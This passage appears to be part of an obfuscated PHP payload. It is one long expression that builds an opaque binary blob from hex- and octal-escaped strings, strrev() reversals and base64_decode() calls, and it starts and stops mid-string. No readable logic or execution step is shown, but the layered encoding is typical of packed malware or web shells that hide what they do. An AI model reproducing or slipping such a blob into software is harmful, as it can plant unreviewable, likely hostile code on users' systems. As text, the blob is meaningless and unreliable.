x9e\xb5\xe1\xb7\x5f\xbd\x6c\xc2\xdd\x3\x77\x2e\xfc\xa6\xd9\xd8\x57\xdd\x16\x35\x4f\xbd\xe9\xb8\xdf\x1c\xf9\x9d\x59\x4f\x3c\xda\xf9\xf8\x97\x82\x17\x3f\xb0\xf2\xaf".strrev('8]v?oL9n-ꎣ=wYߣqc').base64_decode('OvSnl9x21sZJW/ac+9LQ6Uemzu+umvFKbctX5330wJmv9D55buSG1GN3tDbXt908uvHDqg==')."\277\265\377\365\206\63\177\265\306\363\265\356\336\363\252\27\236\361\215\252\125\353\252\277\326\362\325\137\57\272\243\336\367\237\372\310\351\227\134\166\370\145\17\356\370\346\171\257\214\316\76\344"."\x3b\x2f\x1d\x97\x3a\x78\xcf\xc8\x3f\x1b\x26\xed\xdc\xf5\xcc\xd7\xba\xaa\x52\xbd\xd\x87\x14\x4b\xdd\x4f\xd4\x4f\x78\xec\x10\x6d\xfd\x91\xe7\x9d\xf3\xa7\xe7\xbf\xb2\x53\xdb\xfd\x67\x33\x79\x47\x74\xe4\xd6\xc9"."\xe7\xaf\x7f\x38\x75\xcc\xcd\xb3\x6f\x3c\x77\xe4\xc0\x9d\xc5\xf5\x7b\xe\xbb\xf7\xad\x43\x27\x7e\xf1\x6b\x89\xb6\xa3\x8f\x78\xe4\xe0\xc3\x83\xfa\x11\x8f\xe\xad\x78\xbd\xb0\xfc\xe6\xef\x3c\x39\xe1\x5b\xfa\xd1"."\x9b\xe\xad\xbf\xf4\xe7\x7\x6f\xda\xba\x38\x3f\xe3\xc5\xc7\x4e\xbd\xe1\x49\xe3\xb1\x9d\xb9\x6d\x7f\xcc\x1f\xb5\xf5\xb0\x63\xbe\xf8\xd4\xfe\x2b\xaa\x4e\xba\xfd\x4e\x7f\xe8\x37\xad\x6b\x1a\x7e\xff\xe5\xc4\x49"."\367\327\374\352\224\13\326\335\62\273\156\347\207\53\46\156\261\327\175\375\244\266\123\236\76\356\303\356\206\343\236\177\160\327\53\227\255\37\355\157\36\171\145\133\362\252\237\277\34\367\175\373"."\xd5\xbb\xcf\xbc\x3b\x97\xaa\xde\x96\x1a\x7a\x70\xd5\xe6\x86\xf6\x13\x1e\xdd\x3f\xfc\xca\xb9\x8b\xd6\xe\xa4\xcf\x9b\xf2\xfe\xaf\xd7\xa9\x2f\x64\x6a\xfe\x79\xc9\xa4\x63\x16\x1e\xbd\xff\x8f\x39\xfb\xad\xc3\x2f"."\374\307\43\323\177\236\312\76\164\335\273\75\277\310\6\17\175\357\225\252\3\156\177\377\273\236\105\223\272\226\15\356\131\175\363\252\373\116\75\175\337\261\255\257\155\72\154\346\151\163\347\35"."\222\74\351\260\163\274\227\277\127\372\103\335\41\352\202\103\46\154\315\237\334\134\77\262\360\73\377\354\72\73\362\355\374\217\17\273\162\332\177\66\275\172\135\266\361\306\305\347\177\160\363\232"."\75\57\157\137\261\140\347\151\352\277\365\3\257\330\362\253\217\6\17\76\343\374\347\176\376\207\201\373\116\215\265\325\37\164\376\11\126\372\206\77\34\177\353\226\147\353\166\217\56\376\371\163"."\x1b\x83\x1b\x36\x4f\xbf\x60\xe9\x4d\x1b\xb2\x67\x96\xd6\x1d\xf9\xc0\x81\x75\xf\xdf\xf7\xe5\x27\x56\xff\x6b\xaf\xd5\xf8\xcb\x3d\x1d\xfa\x6b\x6f\x6d\x5b\xfb\xa5\xe4\xa6\x8b\xde\x3a\xb1\xdb\x73\xf4\x96\x9a\x2b"."\x7\x2e\xf8\x60\xe8\x91\x91\xee\xf6\x97\x76\x6e\xff\xf2\xfb\x7f\x1e\x3d\xa2\x7d\xea\xae\xcc\x93\x57\x1e\xb2\x67\xfa\x73\xde\x75\xbb\x1b\x8e\x6b\x5c\x7a\x52\xdb\x9\x4f\xfb\x7e\xf3\xcd\x27\xae\xbc\xeb\x83\x8f"."\137\232\163\317\5\117\177\143\306\37\377\70\43\277\375\57\33\213\7\235\330\71\170\366\337\232\36\336\377\352\222\247\175\237\174\360\316\317\227\374\340\276\125\377\363\356\333\117\307\356\137\373"."\311\253\177\373\367\337\337\337\176\332\17\112\237\274\175\374\276\343\367\354\372\340\15\377\245\176\265\347\223\117\276\271\160\315\57\177\260\371\203\7\217\377\170\270\55\377\351\211\371\371\336\267"."\xb3\xcd\x8f\x1c\xf8\xea\x81\xf3\x7e\x7b\xe4\x8f\xf\xdf\x77\xd1\xa9\x7\x6c\x4c\x6f\x7d\xe6\x8c\x97\x12\xc7\x4c\x7b\xe1\xb\x7\xfd\xa4\xfd\x81\x73\xae\x1b\x78\x72\x56\xcb\xc9\xd7\x1e\xf8\x4c\xd7\x61\x47\xdd"."\334\372\136\327\75\127\357\324\123\221\133\246\136\226\171\342\222\3\37\317\104\277\230\50\134\77\353\202\256\277\276\331\261\365\250\113\336\76\172\303\77\217\33\173\167\321\337\376\262\163\323\143"."\xdf\xbe\xeb\xb9\x9d\x17\x66\x46\x9f\x5c\x33\xf1\xfd\xe1\x5c\x6a\xed\xf\x76\xbc\xb4\x63\x6b\xe4\xb5\x13\x97\x9d\x36\xed\xe9\xf7\xee\xb8\xed\xf0\x85\xe7\x5f\xf8\x6e\x71\xfa\xc6\xf5\xd7\xf4\x6e\xbc\xf7\x94\x9b"."\xea\xaa\xdb\x7e\xf0\xf0\xb7\xd7\x3d\x33\xed\x8b\x7b\x6f\xbe\xf8\x99\xaa\x4b\x2e\xec\xfc\xe1\xce\xa7\x5f\x9f\x38\xf5\x6\xff\x8a\xb\xbe\x72\xf4\xe9\xd7\x4d\xd5\xe6\xdc\xf0\xa3\x87\x47\x1e\x1a\x3c\xf1\xc9\x9f".strrev('wyWu{+9sn$uc~x]_scd^4l').base64_decode('vTE5q78b+sM137t6y8iM35kfPnR59J+XDhz194fuix/61NPnf/T9u3579b67Xlzd3/Xl1Q==').base64_decode('s7xHXvGPU+66ZmLJvuz6x97/Re3qxitjq+fsPH3sub91Hpj43Zzj+s0h68b+35526cuJNQ==')."\375\251\265\333\222\333\316\353\215\335\134\137\267\360\265\324\13\77\276\365\353\77\332\360\253\153\356\136\363\313\77\115\372\315\207\217\46\237\131\376\361\376\203\36\237\370\304\42\345\246\77\336"."\x15\x7b\xa0\xf6\x4d\xbb\xf7\xee\xe4\xe2\xfc\x82\xa3\x8e\x79\xee\xe5\x6f\xfc\x3b\xfe\x9d\xf7\xbf\xf7\xe9\x21\xe1\xf5\xe7\xb4\xbd\xf9\x6a\x63\xef\x25\xea\xa9\xa9\xbd\x8b\x4e\xae\xd3\xbf\xf0\xc2\x71\xab\xaf\xdc".strrev('>ۆާ{_{]/=|zl>O1?[')."\x5b\x53\xa7\xcf\x3c\xe3\xb9\x3f\x17\x7f\xb3\x67\xe3\xca\x33\x4a\x57\x3e\xbb\xb1\xb7\x3f\xbd\xee\xce\x48\x6a\xe9\xbf\x7e\xb1\x64\x83\xef\x98\x7f\xbf\xf9\xc2\xd1\xf7\xe\x3d\xbc\x68\xfb\x1f\x67\xb4\x4f\x3a\xee"."\xc8\xc7\x72\x7\x2f\x7b\x2a\xfe\xc1\xa3\x9f\xfe\xfc\x82\x1f\x4f\xfa\xe8\xe2\xfa\x3f\x7d\xb8\xf3\xce\x27\x1e\xda\x78\xfd\x2b\x67\x5f\xf0\xcc\xb1\xb3\xff\xf6\xd6\xfd\x1f\x3e\x71\xb6\xf5\x42\xe3\x83\x77\x9f\x77"."\xec\xd\xfb\xa7\xfd\x2e\x50\x37\x55\x59\x3f\xed\xab\xad\xf\x7c\x21\xf3\xca\xb2\xd3\xae\xb8\x2f\x7a\xf5\xf0\xe1\x67\x6e\xbb\x62\xfb\xb7\x1e\xed\x98\x31\xf1\xdf\x97\x1f\x66\x5d\x9e\x7d\xb0\x66\xff\x95\x8b\x92"."\x8b\xf\x38\xac\xf0\x8a\xba\xec\x96\x77\xa6\xb4\xa5\x9f\xda\x38\xba\x74\xe1\xce\xae\x47\x9f\x2b\xfc\xe2\x67\x2f\xaf\xbc\xe9\x82\x17\x6\x9e\xf8\xde\x1b\xe9\xa7\xee\xb9\xe3\xdd\x67\xde\x9f\xf3\xc1\xfe\xcc\xea"."\167\225\327\362\353\357\335\131\272\343\256\45\377\214\74\173\313\231\73\117\335\75\257\264\363\255\137\246\277\221\377\323\137\246\374\163\316\234\261\217\43\353\232\132\276\277\347\326\335\352\266\113"."\x37\xfc\xfd\xdb\x9b\x8f\x3f\xef\x47\x77\x1e\xb8\xea\xe9\xe0\x6f\xe\xde\x7a\xf7\x33\xdd\x87\xfc\xfa\xd0\x89\xcf\x69\x5b\xf5\xbf\xbe\x63\x76\xd5\xfd\xea\xfe\xef\x7e\xf2\xc2\x13\x27\xde\x7a\xed\x25\xef\x5c\xd3".base64_decode('fcw7369afk/x0v3rdv/o0/1jnbd/9cz1H2w4pxD9S/Unr//2L/E5e5eFJm3Y6z33ybozwg==')."\107\237\335\124\252\372\352\157\176\126\374\317\307\377\372\346\323\173\356\371\340\37\373\226\250\237\274\375\361\15\73\236\376\364\235\53\337\331\74\377\356\217\77\170\341\221\343\77\371\317\77\316"."\213\75\175\355\332\343\216\176\353\347\67\76\355\377\364\337\355\157\176\364\344\265\76\365\276\173\77\176\367\241\167\324\117\377\371\361\105\233\175\367\177\362\342\37\276\171\355\377\274\377\362\265"."\xef\xdc\xee\xfb\xd9\x7f\x3e\xba\xe5\xea\xd7\x3\xcb\x3d\x4b\xef\xdf\xf7\xec\x75\xbd\x2f\xed\x5a\xfd\x5a\x6e\xcf\x7b\xef\x7d\xf4\xcb\xb1\x17\x2f\x59\xb1\x6d\xcf\x2f\x5e\x7c\xfe\x45\xf3\x7b\x77\xfc\xe9\xea\xfc"."\x8e\xf9\xb3\xe6\x36\xee\xf9\xf4\xaf\x13\x8f\xfd\xdb\x41\xd3\x16\xa4\xfe\x9e\x5e\x9f\x3d\x78\x77\xe2\xd5\x45\x9f\xda\x33\xd4\xab\xf4\xdb\xef\x5e\xa3\xbd\xf3\xd4\xe2\xdb\x2e\xbe\xe7\xa3\xe0\xf5\x37\xbf\x79\x49"."\333\203\37\117\75\375\231\157\14\157\75\376\314\267\132\246\56\273\65\163\347\6\377\304\137\77\163\341\155\53\257\273\350\254\47\326\75\163\156\335\235\137\70\343\255\117\17\10\264\136\366\321"."\xdb\x47\xb3\xcb\x6c\xa5\x15\xc3\x83\x45\x76\x40\xa\x4a\xb1\x29\x33\x20\x90\xb3\x46\xf0\x8d\x3\x10\x5b\xd3\xfd\x23\xab\xa\x70\x5a\x8\x46\x51\x66\x5f\x61\x55\xef\x8\x28\x89\x40\xb6\x9a\x35\xd\x4e\x65\xb"."\x3\xc6\x60\x66\x15\x28\xd3\xe0\x56\x4f\xd6\x4a\xad\xcc\x8c\xc0\xd6\x70\xfa\x6c\xb0\x93\xcc\x17\x32\xe9\x5c\x2f\x68\xce\x34\x7d\x85\xd9\x9f\x3\x31\x78\x1a\x54\x3a\x7b\x26\x34\xd\xbe\xd1\x0\x2d\x9c\x51\xf"."\125\114\233\65\33\122\146\102\326\110\272\77\237\113\301\336\252\144\344\127\146\355\125\64\62\234\263\206\112\46\64\142\132\75\53\10\277\205\322\300\140\337\12\70\261\236\71\35\32\136\310\255".base64_decode('sFMWlJkxHWBnzoIG5YZXpPK9bNOSGkkPsoPwWdOhC9NnwLjMnAqdmdkA1awYGMoV06AznQ==').base64_decode('NnMWG0iAyxQGS/Yw9GSov5jJrYQvTZkFlc+cBr1uYN2f3gBNG1yVK6Y06I9m2mm9BJutWQ==')."\xb3\xe0\x4b\xa9\x74\xdf\xd0\x8a\x11\x38\x53\x2c\x66\x53\xd8\xc6\x1d\x5a\xa6\x65\xac\x81\x5e\x6e\x24\x62\xf4\x16\xd8\x2d\x9d\x59\x33\xa6\x30\xc\xca\xa6\x7\xfb\x33\xac\x41\x50\x65\x66\x45\xef\x60\x61\x25\xec".base64_decode('+mY0sOnPD6f6BqEnM6bB3I1kC0axD2T3aYBaU6dATdkhzdRXAN4NI8BVI9AE1merf6i0Kg==').base64_decode('N8xQg7WgMLzK6F/BxhyGupQf1IbY3ZUZfG4YPmX7MiV+vWzq9GlsdAFuymyGd1OnsmYy8w==')."\xba\x42\x7a\xc4\xce\xc1\x30\x34\x4c\x85\xae\xd\x58\xf9\x95\xf6\x8a\x3e\xd6\x35\x98\xd0\x74\xbf\x66\xe\xac\xe0\x83\x33\x9b\x15\x62\x23\x9a\x1d\x48\xe5\x4c\x68\xf9\x60\x36\xaf\xf7\x69\xb0\xc4\x86\xec\xcc\x60"."\52\315\56\212\331\203\346\110\201\331\37\30\205\201\64\123\374\114\235\305\126\305\314\172\326\360\31\14\35\353\331\4\245\363\72\263\75\232\301\360\170\366\314\231\154\241\226\314\225\166\77\103"."\224\151\254\7\254\255\365\154\232\130\237\146\314\204\254\351\63\141\260\262\45\324\44\166\270\61\240\367\26\215\54\164\43\333\153\254\54\61\3\264\351\314\372\164\372\154\230\271\222\65\220\311"."\xb1\xcd\xeb\xb4\x6\xf8\xd2\xe0\x48\xff\x40\xc1\x80\x1\x1e\xb4\x57\xac\x32\x8a\x30\xe5\xc3\x2b\xfa\x86\x56\x96\x60\x6d\x4e\x81\xf6\xac\x4c\x67\x35\x9b\xd\xe2\xca\xc1\xa1\x94\xbd\x8a\x9d\xb8\x98\xc3\x5a\x31".base64_decode('D4M42LtS7x8BjMyO9Ot9Btum2/3ZEQNyhkeKJS0LSNiXtrXcABCToYylc6uWGYAVlpkbKA==').strrev('7<'."\n".'\'\'ɸ]͕ڷ0E0'."\r".'KY'."\r".'7"Ǡlye')."\151\203\146\313\151\3\272\316\14\347\141\331\333\302\20\3\54\155\41\335\310\351\102\271\115\217\20\130\111\261\133\307\252\22\311\224\3\107\23\162\55\251\274\55\145\243\230\43\67\41\333\366".base64_decode('Q+9wC31yr5flGKJUOIoEha5lDZlFGLEBM53KmqW0o9Z0r6/CSNKeVMrpc6dzgx9VEwb9OA==')."\44\324\256\64\7\137\336\12\113\327\75\325\176\335\146\166\271\120\127\163\40\21\16\252\35\1\146\111\252\25\12\176\53\75\140\371\261\271\207\61\250\107\214\136\77\276\376\210\57\152\373\370"."\5\301\24\276\221\243\152\275\146\321\146\172\274\22\276\76\67\340\356\250\303\266\236\245\71\146\263\227\140\32\267\172\302\177\140\74\351\45\143\13\133\211\363\73\161\24\332\307\20\246\127\102"."\123\172\146\140\153\326\200\117\116\366\312\271\106\36\215\143\66\353\163\136\73\307\367\277\73\73\324\144\40\261\120\262\46\304\367\223\31\116\253\142\234\245\176\10\144\222\146\126\306\51\147\237"."\31\316\356\337\261\173\164\363\326\261\113\156\35\333\264\175\364\236\213\366\157\277\165\364\276\113\120\164\357\256\363\107\267\137\363\372\345\147\355\335\265\151\357\256\165\373\317\271\343\137\367\156"."\34\335\274\143\377\31\367\215\136\165\323\350\217\317\331\273\373\276\375\367\237\263\357\246\363\366\356\332\66\166\325\271\243\147\335\271\167\367\326\321\37\136\67\172\316\346\261\213\66\355\275\357"."\52\4\77\366\103\121\63\2\33\335\166\31\56\173\357\372\321\135\273\366\137\177\23\317\375\327\275\247\323\306\254\2\142\266\100\267\225\304\242\10\63\21\43\13\105\231\247\300\22\321\55\237"."\322\221\105\244\132\127\310\324\143\173\62\73\243\27\25\233\330\225\151\350\157\336\314\173\351\22\240\127\346\55\305\310\343\154\205\215\265\217\57\223\244\236\53\140\144\207\121\362\323\273\263\216"."\33\32\322\212\250\64\314\64\243\2\36\341\261\26\163\125\203\203\160\122\210\365\221\112\237\206\22\322\215\112\37\52\246\260\33\142\212\155\262\160\156\204\117\272\153\131\126\234\126\336\14\66".base64_decode('tf38WEBoq6Fh0tUbehRUhlJknTuJlIMCOMmbnOUcCVAnE6sGj0Kb4lHIWbbivCiOrRQYcw==').base64_decode('lNeM3PyiXsjyQy2ska04iK4uJCoMF++EIxOtx5JdAVAeVVlNbZjBLCKx4pCV2BOI5tKoUA==').base64_decode('j6MPcQpd1NMGM3TWcwQSiJdPOpyit6m4tXUKoX3Rce42d34hU8BeN+w588Hsn12rk9oAYQ==')."\161\73\114\116\315\272\317\362\370\42\151\151\226\174\137\140\260\106\257\327\53\351\234\205\265\33\16\101\165\342\110\33\245\205\360\12\36\57\275\205\133\172\240\245\335\337\257\133\166\43\271\144"."\xab\x4c\x56\x50\x43\x67\xf9\x1a\x50\x80\x2c\x82\xe9\xbe\x99\x28\x48\x46\xc\x16\x6e\x37\x8c\x62\xc9\x62\x57\x9e\x26\xf9\xa6\x81\x54\x69\xcd\x1\x33\x95\x39\x84\x7e\x34\x49\xcd\x87\x74\x51\xa\x31\xa\x96\x8a".strrev(''."\0".'wm'."\0".'i~Ehx-sBYtn^$')."\136\304\44\323\26\261\225\5\256\1\125\132\222\117\202\270\300\50\134\234\14\327\147\24\265\345\51\57\40\106\234\347\106\262\126\126\143\147\242\26\276\274\223\327\71\376\225\54\176\154\203\15"."\312\125\44\121\130\2\127\325\64\23\26\43\341\146\265\45\14\146\224\201\216\260\232\110\304\44\316\116\356\62\57\125\27\306\132\324\140\54\266\60\14\70\326\50\321\74\174\167\122\34\161\343"."\230\270\103\211\217\205\144\143\66\131\314\301\156\71\60\343\114\50\140\364\211\260\70\330\26\210\163\123\373\351\276\172\137\203\200\105\37\124\361\125\203\46\166\317\77\221\14\304\53\70\147\241".base64_decode('TltgqMFRCxRoiy1RgrFIZ3s0QX2S0PRoTMonBtWQzVy3lGdD9aGOSCAYUsLRZIxdleA2rQ==')."\xe4\x92\x4c\x82\xc7\xd9\x10\x14\x2d\x9d\xbb\x66\x81\xf2\x34\x22\x5f\xe4\x91\x6b\xe4\x35\x1\x72\x76\x79\xaa\xbb\xab\xba\xeb\xba\x6b\xba\x6b\x97\xfb\xba\xad\x1e\xbf\xc4\x85\xc\x79\x7a\x20\xd2\xd1\x2\xdd\x6b"."\xe4\xa1\xb4\x5\xcb\xb2\x3d\x81\xd8\x37\xd\xc6\xe2\x81\x60\x84\x35\x5\x9\x78\x10\x8c\x5\xc3\x34\xb0\xef\xe2\xdb\xf6\xde\x73\xfe\xbe\x2b\xb7\x8f\x9e\xbb\x9\x55\x34\x76\xc5\xfa\xb1\x4b\xef\x44\x42\x7\x16"."\64\266\157\334\267\347\374\261\213\167\214\155\4\1\101\331\277\343\256\275\367\335\277\357\342\233\106\267\137\66\266\365\356\175\127\234\111\63\136\277\371\266\321\15\67\361\206\51\257\137\264\147"."\xec\xfc\x9f\x70\xe1\x83\xca\x1c\x1e\x54\xfa\xf5\xb3\x36\xed\xbb\x6f\x3b\x16\x3d\x6e\x58\x37\xb6\xf3\xbc\xb1\xab\x36\x8d\x6e\xb8\x7e\xf4\xf2\x9b\xf6\x9d\xbf\x63\xf4\x47\x67\x8c\x9e\xbd\x69\xff\x8e\x4b\x26\xba".base64_decode('EYnGu9hUwPVt/2n46j0d3m5rMh7aWvRbgy9goF9mR05sixd1hqLBkPsmkxwFvzZ1FEOouQ==')."\xd\x48\x9b\x16\xf8\xc5\x61\x71\xe2\x3\xa3\xa9\x7a\xdc\x56\xac\x81\xf9\x97\x1a\x25\x35\xa6\x25\x94\x8\xc6\xc3\xcd\x21\x30\xf1\xe7\x13\x35\x89\x48\x4a\x60\x6c\x81\x52\x13\xf1\xc5\x3c\xcc\xaf\xbe\x96\xf9\x21"."\x52\x6a\x18\x32\xd7\x2a\x8e\x8e\x68\xbe\x94\x99\x2d\xe5\xf2\xa4\xb1\x4a\x15\xb6\xfd\xaa\xf2\x60\xce\x42\xae\x55\x29\x55\x98\x4b\xa2\x4\x1d\x5f\xd8\xaf\xc1\x1e\x4a\x88\x89\x70\xf5\xb2\x6a\x4f\xbd\xa7\xa1\x56"."\x1\x27\x45\xb4\x4\xb8\x26\x52\xaa\xc0\xd2\x9c\x97\x73\x7c\xc4\xd3\xeb\x88\x35\x78\xea\x6b\x95\xaa\xc2\x40\x15\xb4\x4b\x8c\x2b\x6a\xbd\x4a\x21\x2d\x45\xf3\xd4\x40\x83\xe5\xe6\xa\x58\x44\x17\x2d\xbb\xa8\x19"."\150\217\242\244\74\74\211\227\107\277\16\167\103\51\237\50\101\347\11\101\270\323\224\100\264\305\11\111\275\24\165\124\23\103\315\224\317\346\256\116\330\64\127\327\52\275\160\161\242\102\46\51".strrev('D&QC@D [:TTR'."\n".'&ŚYrС7π:L`&')."\170\6\233\101\234\316\47\261\102\36\161\37\125\105\245\71\332\317\234\325\317\110\35\134\313\157\137\306\373\300\160\131\141\42\6\167\76\205\357\375\205\222\301\66\212\345\11\11\315\323\275\223"."\x1c\x88\x2a\x86\x53\x71\xa0\x8\xdf\x12\x0\x1c\x5d\x2e\x98\x20\x4c\x20\x70\xe1\x68\x6b\x2c\xde\x4e\xef\xbb\x25\x82\x6d\xa1\xf6\x80\xf\x88\x38\xc5\x4\xa\x8f\xe5\x27\xa5\x49\xa9\xc6\x94\x8f\x26\x55\x3b\x86"."\237\174\210\15\131\222\174\25\255\53\325\106\302\20\35\205\102\77\64\6\146\137\41\376\5\64\122\244\251\232\272\200\201\52\271\227\264\130\74\251\242\1\0\362\54\121\335\152\211\133\110\346"."\344\370\366\326\40\223\345\373\220\164\143\62\205\140\272\227\71\123\103\225\343\72\203\261\150\153\230\135\355\153\201\235\157\41\155\72\200\132\342\141\354\341\3\276\257\260\252\244\13\225\50\42"."\114\73\120\244\60\224\346\141\341\64\1\147\160\236\217\42\202\345\243\10\147\66\30\112\362\372\206\277\237\210\362\260\20\140\121\244\63\301\156\166\140\352\273\244\205\207\333\370\375\166\234\21"."\x8b\x4b\x91\x40\x3c\xd0\x9e\xe0\xd1\xf8\x12\x7e\x53\x84\xa7\xd1\x1b\x23\x6a\xb4\xb3\x5d\x50\xfc\x48\x60\x31\x42\x96\x98\x10\x50\x18\xb5\xae\xf1\xd5\xcd\xaf\xed\xa6\x97\xf0\x68\x90\xfe\x9c\xcc\x62\xf8\x62\x52"."\317\352\6\217\62\143\155\55\300\160\117\31\166\306\310\63\11\22\177\145\121\104\215\304\26\320\70\361\106\27\312\247\305\176\103\351\122\220\70\233\24\342\254\305\130\27\137\15\12\302\141\205".strrev('58tl`(wqbaYqr PWZL%U^')."\231\373\42\104\20\231\270\100\177\227\262\0\241\225\120\40\105\256\73\17\363\106\4\274\247\252\335\153\272\117\352\366\372\350\115\106\54\274\164\173\104\223\324\320\122\304\143\23\11\307\65\114"."\x95\x38\xea\x82\xda\x51\x2f\x21\x44\x57\x2d\x8d\xcc\x85\x1f\xd8\x51\xcd\x5\x69\x1f\xa2\xf3\x9a\xf8\x64\x86\x16\xad\x89\xa2\xbf\xb\x92\x6b\x42\xe8\x6f\x4\xfd\x44\x92\x68\xba\xc\xe\x80\x96\x64\x24\xbc\x30"."\264\6\377\43\62\152\371\100\322\13\113\316\2\341\350\32\364\57\42\60\153\302\121\167\145\315\241\344\222\120\210\2\260\60\374\12\120\104\160\240\253\222\267\102\174\211\0\262\305\245\2\250"."\x5a\x55\x6b\xc8\x60\x7a\x7b\x26\xd7\xaa\xaa\xdf\xea\x4\x7c\xe1\xae\x40\x6a\xaa\x4f\x6c\xa8\x6\x1e\x12\x48\x4\x5\xf5\x75\x20\x44\x39\x2e\x10\x93\x7f\x27\x22\x70\x1f\x7c\x10\x5f\x10\x8f\x75\x76\x48\xf1\xb6"."\300\342\160\164\1\213\371\353\130\250\16\252\126\132\302\11\64\104\101\206\214\302\65\240\34\7\201\223\210\105\262\324\353\100\351\26\104\331\121\104\22\331\361\146\200\122\146\347\52\153\356\14".strrev('E ;e!B EF,'."\0".':`1Yx"|8Ʊ&S'."\n".'+ZG')."\131\36\332\371\241\135\33\333\316\145\264\101\176\165\162\116\272\127\362\23\202\151\260\217\152\274\260\267\30\264\125\324\270\166\323\245\244\44\372\45\151\73\117\315\0\25\351\352\66\326\166\112"."\72\41\77\205\100\302\47\201\101\277\335\313\347\23\341\170\71\303\123\172\153\330\116\32\166\326\361\121\270\135\210\76\32\46\127\72\245\317\262\133\30\104\271\247\232\222\312\233\360\155\71\101"."\250\223\250\176\34\64\261\102\133\203\255\41\211\216\226\106\235\73\52\116\246\226\363\215\22\270\135\360\300\57\264\350\10\372\323\15\121\246\231\350\206\217\124\173\200\351\166\63\201\275\253\173".base64_decode('uL7ei/6Zhf42o79B9DeEE1q7h2e2osDs1h4/GJmzSxxORXl3d9V4gwwAbKghWkWjrJTBOQ==')."\x67\x2a\x83\xdd\xd7\xa8\x76\x8e\x69\xbd\xc9\x16\x4f\xa8\x9b\xa9\xe2\x5b\xc4\x5b\xe2\xb1\xe\x2a\xc7\x28\xe1\x56\x85\xfa\x72\x50\xaa\xa9\xaa\xbc\x1a\x4\xb4\x60\x3c\x84\xd7\x18\x85\x62\x79\x35\xd5\xe\x55\xd5"."\274\152\5\356\167\327\72\113\205\243\55\241\245\112\265\221\36\126\65\115\205\302\12\132\321\254\42\245\254\46\126\3\155\53\73\161\312\230\103\212\214\244\154\327\35\244\151\111\201\270\145\2".base64_decode('HvHKwO7SemBrz3OoXE2zwgnE9iMR0lOUZVhYHPYo3HkCTsRbGKr2hIpYBq2IZoWWJuMBnA==')."\110\144\330\103\47\240\77\204\54\341\75\126\61\247\321\13\246\104\362\363\55\7\125\303\162\207\240\111\105\120\54\152\2\336\21\306\51\365\211\347\20\175\3\35\146\131\33\261\20\144\167\32"."\353\210\207\333\3\361\145\60\144\142\47\1\13\327\314\72\256\31\213\210\141\165\112\27\335\243\250\325\362\305\167\72\307\234\116\243\135\61\243\323\250\65\64\130\205\147\236\6\301\357\254\312"."\xef\x31\x33\x55\x4c\xd\xbb\xf\xec\x61\x1\xe6\x48\x82\x5c\xb5\x62\x5a\xac\x1c\x22\x5c\x3c\x26\x66\xd\x70\x1f\x66\x45\xce\x95\x2f\x8b\x9\xc7\xb8\x98\xd5\xe2\x49\x66\x3c\xa3\x35\xd0\x19\x91\x53\x60\xa8\x94".strrev(''."\0".'a."2gt8'."\n".'&8gc[gh)CjA|:ǖ+KXFe')."\75\342\303\52\265\127\332\275\313\223\2\325\140\0\356\145\370\63\272\306\140\52\165\215\227\347\372\253\120\164\101\70\32\152\152\37\11\47\2\355\12\153\70\150\350\260\307\315\131\120\117\70".base64_decode('pkaQZK3KSrhwDBTADneOqir8o/g0YVhuF0uSczzDJEbc7fy+B7E6RwgREO4RuJKa5JV6cQ==').base64_decode('aZnpQXmX11TDbMQ5GJjKOnMEuOr4uNtqW04WBuXidJkdYHPnelCgU3JvgAsr7IPkNCfvbA==')."\x1e\x62\xb3\x59\xe6\xe0\x4a\xd5\x45\x6f\x72\xba\x65\xf1\x53\xe6\x64\x46\x57\xac\x82\x9e\x22\x6e\x3a\x15\x70\x2e\xa7\xa4\x4d\xdd\x12\x7e\xbd\x61\xec\xc9\x6e\x8b\x5\xed\x8c\x70\x4\x21\xfb\xb7\x6d\x69\x66\x83"."\x5c\xca\xdb\x9\x3d\xb\xca\xf9\x96\x5e\x62\xb9\x2f\xee\xd8\x89\x3b\x4d\x92\x45\x3f\x39\x63\x11\x33\x47\xbd\xf6\xb9\xa\x42\x4d\x61\x3e\x34\x12\x94\x48\x8c\x8\x87\xb6\xf8\x48\x43\xd4\xd9\xc3\x74\x6\x62\x3c".base64_decode('VhmMCboPAXkj82aHXswZ5BxniTimAT6DKqDz71Nc5eRRx2d/ZZDY4cVnzSHzbUZaJl2wxA==')."\121\300\25\174\220\51\135\133\51\345\321\107\274\362\105\50\204\73\44\121\272\172\301\134\34\322\330\114\60\341\100\370\11\201\176\110\141\277\105\226\343\23\16\162\110\235\130\252\362\12\207\25"."\151\115\276\163\52\171\206\237\50\143\12\231\162\201\333\175\206\354\275\302\47\174\2\363\345\162\62\237\50\174\27\33\116\323\261\300\336\247\112\155\351\340\360\302\33\50\35\15\151\32\110\2"."\15\222\5\256\64\212\106\264\31\30\377\107\44\334\221\122\333\231\63\47\360\110\34\61\373\71\155\102\202\53\170\14\163\320\247\160\14\312\372\164\174\21\213\136\213\11\161\207\216\250\40\165"."\x7b\xf7\xf9\x85\x3a\x25\xa7\xcc\xe3\x90\x94\x8a\xe5\x82\x0\xc8\x3f\x58\x24\x4a\xa7\xcf\xff\x60\x5c\x17\x5c\x1f\x15\x23\xf7\xde\x3e\xb7\x90\x20\xb1\xe4\x4b\xa4\x90\x44\x96\x5d\x65\x8\x3a\xd2\x3b\x3a\x30\xf3"."\x19\xc8\x16\x38\x86\x78\x41\x34\xa6\xb6\x21\x76\x13\x63\x42\x89\x61\x25\x1d\xe4\x9d\x95\x2\x12\x62\x23\x99\x29\xe5\x27\xb7\x88\x61\xe3\x38\x87\x58\xb\xd0\xf3\x4b\x98\xec\xd5\x88\x72\xf3\x10\xb3\xf5\x0\xdf"."\x60\x42\x18\x8\xd0\x9f\x65\xb9\xb4\x17\x35\x1c\xb0\x2e\xad\xdb\xdc\x35\x13\xa6\x82\xec\xf6\x25\x6e\xb3\x74\x7\x3b\xc7\x9\xec\x90\xe4\x85\x55\x1b\xd4\xf1\x35\x37\xa6\x96\x29\x33\xdf\x81\xae\x94\x77\xe\x9a"."\210\317\315\22\261\316\70\73\343\301\161\254\333\122\343\241\340\62\176\334\302\123\133\3\213\335\51\141\254\233\14\54\250\230\314\65\146\70\235\154\115\325\170\14\253\26\103\221\126\127\201\104"."\x1b\xf7\xe0\xeb\x4c\x53\x23\xe1\xe8\xc2\x8a\x19\x48\x34\x69\x97\x8a\xd0\xc4\x70\x32\xd4\xee\x4e\x73\xd6\x90\x8\x5\xe2\xcc\xbd\x34\x8e\x37\x47\x62\x41\x29\x3b\x1c\x2b\x1f\x9\x2e\xfb\xf0\x44\xaa\x98\xa4\x89".strrev('b%|N1l(+Mmm{;\\W'."\r".'`ץ#Q]Wj')."\20\363\373\174\360\21\36\360\167\373\231\377\